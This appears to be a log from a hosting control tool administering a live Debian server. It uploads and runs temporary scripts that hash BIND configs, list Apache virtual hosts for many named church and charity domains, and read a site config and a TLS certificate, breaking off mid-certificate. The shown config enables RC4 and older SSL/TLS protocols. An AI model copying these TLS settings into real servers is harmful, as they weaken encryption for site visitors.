$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:22:55:
runuser -l bind -s /bin/bash -c '/tmp/pkp255147; rm /tmp/pkp255147'
2026-01-03 19:22:55:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:22:58: Establishing a connection
2026-01-03 19:22:59:
PUT: /tmp/pkp758008
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:22:59:
chmod 755 /tmp/pkp758008; /tmp/pkp758008; rm /tmp/pkp758008
2026-01-03 19:22:59:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 19:22:59:
PUT: /tmp/pkp577686
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/christadelphianfraternal_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:22:59:
chmod 755 /tmp/pkp577686; /tmp/pkp577686; rm /tmp/pkp577686
2026-01-03 19:22:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/christadelphianfraternal_www_info.conf 1555
<VirtualHost *:80>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 19:22:59:
PUT: /tmp/pkp125458
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:22:59:
chmod 755 /tmp/pkp125458; /tmp/pkp125458; rm /tmp/pkp125458
2026-01-03 19:22:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt 5433
b5:e8:fc:fa:cf:83:18:a1:ed:31:aa:19:53:06:b0:bc
-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBbBMOWZa5SpdgeAhNIVzGD1JMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjE1WhcNMjYwMzI4MDUwMjE0WjAoMSYwJAYDVQQD
